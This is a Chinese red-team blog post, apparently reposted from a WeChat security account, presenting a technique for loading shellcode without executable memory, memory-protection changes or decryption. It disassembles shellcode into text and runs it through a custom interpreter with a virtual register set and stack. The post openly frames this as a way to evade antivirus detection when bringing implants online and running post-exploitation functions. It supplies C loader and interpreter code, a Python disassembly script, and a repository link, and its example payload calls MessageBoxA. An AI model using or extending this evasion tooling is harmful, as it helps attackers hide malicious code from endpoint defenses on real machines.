简单来说就是可以直接加载可读内存中的加密 ShellCode,不需要解密,不需要申请新的内存,也不需要改可执行权限。应用不仅仅在上线,上线后的各种功能都可以通过 ShellCode 实现
1.查杀点
现状
在加载 ShellCode、使用 BOF 等时候,经常需要将机器码密文解密写入可写权限的内存,再改为可执行权限来运行
弊端
需要经常进行内存属性修改的敏感行为,并且机器码明文处于可执行权限的内存中,迟早会被查杀
2.规避查杀点
目标
不使用 RWX、不修改内存属性、不解密 ShellCode,就可以加载 ShellCode
解决方案
代码编写 -> 提取 ShellCode -> 机器码转汇编 -> 汇编转换自定义语言 -> 通过解释器运行
3.解释器实现
解释器和编译器的区别
编译器就类似常规的 ShellCode 加载方式,去运行机器码
解释器是去解析你自定义的语言来进行对应的操作
实现原理
一步一步讲
获取 ShellCode 汇编
ShellCode.c:
#include <windows.h>
// 设置入口点 #pragma comment(linker, "/entry:Shell")
/* * 1.C/C++ * 常规: SDL检查(否) * 代码生成: 运行库(多线程)、安全检查(禁用安全检查) * 2.链接器 * 清单文件: 生成清单(否) * 调试: 生成调试信息(否) * 高级: 入口点(Shell) */
typedef int(WINAPI* pMessageBoxA)(HWND, LPCSTR, LPCSTR, UINT);
// 入口函数置顶 #pragma code_seg(".text")
void Shell(pMessageBoxA funcMessageBoxA) { char a[] = { '' }; funcMessageBoxA(0, a, a, MB_ICONWARNING); }
生成 ShellCode.exe 后提取 ShellCode (ctrl+shift+c),粘贴至 asm.txt
机器码转汇编.py:
import binascii from capstone import Cs, CS_ARCH_X86, CS_MODE_32
def subAsm(asmHex): asmByte = binascii.unhexlify(asmHex)
cs = Cs(CS_ARCH_X86, CS_MODE_32) asm = cs.disasm(asmByte, 0)
for instruction in asm: print(instruction.mnemonic + ' ' + instruction.op_str)
if __name__ == '__main__': with open('asm.txt', 'r') as file: asmHex = file.read().replace(' ', '').replace('n', '') subAsm(asmHex)
输出 (保存到 ShellCode.txt):
;--栈上移-- push ebp mov ebp, esp ;--Windows API 参数入栈-- push ecx push 0x30 lea eax, [ebp - 1] mov byte ptr [ebp - 1], 0 push eax push eax push 0 ;--调用 Windows API-- call dword ptr [ebp + 8] ;--栈下移-- mov esp, ebp pop ebp ret
分析 ShellCode 调用过程
ShellCodeLoader.c:
#include <windows.h>
__declspec(naked) void ShellCode(...) { __asm { push ebp mov ebp, esp push ecx push 0x30 lea eax, [ebp - 1] mov byte ptr[ebp - 1], 0 push eax push eax push 0 call dword ptr[ebp + 8] mov esp, ebp pop ebp ret } }
int main() { ShellCode((PDWORD)MessageBoxA); // 下断点 }
调试转到反汇编
mov eax, dword ptr [MessageBoxA] push eax call Shell
发现在进入 ShellCode 内联汇编前将 MessageBox 地址和 call 的下一行地址入栈了
进入内联汇编后,除了平栈就是继续构造 Windows API 的栈区域
实现调用过程
只要能将 Windows API 的栈区域正确构建出来,就可以正确调用 Windows API
实现一个虚拟环境,包含虚拟寄存器、虚拟栈
// 虚拟寄存器 // 当前正在讲解样例编写,成品可以使用 PDWORD vtEAX = (PDWORD)malloc(sizeof DWORD); DWORD vtEAX; DWORD vtEBX; DWORD vtECX; DWORD vtEDX; DWORD vtESP; DWORD vtEBP; DWORD vtESI; DWORD vtEDI; DWORD vtEIP;
// 虚拟栈 PVOID pVtStack = VirtualAlloc(NULL, 0x10000, MEM_COMMIT, PAGE_READWRITE);
将进入内联汇编前的真实环境状态复制到虚拟环境
// 解释器 __declspec(naked) void Interpreter(...) { // 复制寄存器状态 DWORD currentESP; __asm { mov vtEAX, eax mov vtEBX, ebx mov vtECX, ecx mov vtEDX, edx mov currentESP, esp mov vtESI, esi mov vtEDI, edi }
// 复制栈状态 (包含 MessageBox 地址和 call 的下一行地址) vtEBP = vtESP = (DWORD)pVtStack + 0x9000; for (int i = currentESP + 4; i >= currentESP; i -= 4) { vtESP -= 4; *(PDWORD)vtESP = *(PDWORD)i; }
// 解析内联汇编的指令文本 __asm { call Parse ret } }
int main() { // 通过解释器运行 ShellCode Interpreter((PDWORD)MessageBoxA); }
解析内联汇编的指令文本,在虚拟环境中构建出正确的 Windows API 栈区域
// 解析内联汇编的指令文本 void Parse() { // 从文件逐行读取指令到数组 vector<string> asmCodes = ReadShellCode("ShellCode.txt");
// 遍历指令进行解析 for (vtEIP = 0; vtEIP < asmCodes.size(); vtEIP++) { // 提取操作符和操作数 string mnemonic = GetMnemonic(asmCodes[vtEIP]); string operands = GetOperands(asmCodes[vtEIP]);
// 模拟运行指令 (在虚拟环境中实现对应功能) if (mnemonic == "push") { Push(GetDwordValue(operands)); } else if (mnemonic == "mov") { Mov(operands); } else if (mnemonic == "lea") { Lea(); } else if (mnemonic == "call") { Call(); } else if (mnemonic == "pop") { Pop(); } else if (mnemonic == "ret") { Ret(); } } }
例:
void Push(DWORD value) { vtESP -= 4; *(PDWORD)vtESP = value; }
调用 call 前,已经将 Windows API 的栈区域正确构建出来了
之后想成功 call Windows API 只需要将真实环境中的栈移到虚拟环境中,调用完再移回来就可以了
void Call() { // 记录原栈位置 __asm { mov realESP, esp mov realEBP, ebp }
// 进入虚拟栈 __asm { mov esp, vtESP mov ebp, vtEBP }
// 调用 Windows API __asm { call dword ptr [ebp + 8] }
// 回到原栈位置 __asm { mov esp, realESP mov ebp, realEBP } }
步骤总结
ShellCode 汇编指令文本 -> ShellCode.txt
解释器:构造初始虚拟环境 -> 读取汇编指令文本 -> 遍历指令 -> 解析指令调用对应指令的处理器 -> 处理器继续构造栈区域 -> 栈进入虚拟环境调用 Windows API -> 处理器继续收尾工作
讲解:https://www.bilibili.com/video/BV1Z7421P7N6/?spm_id_from=333.999.0.0&vd_source=585d9231ec9a51e9a4a23da74480b609
代码:https://github.com/HexNy0a/ShellCode-Interpreter
原文始发于微信公众号(红队蓝军):无可执行权限加载 ShellCode
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论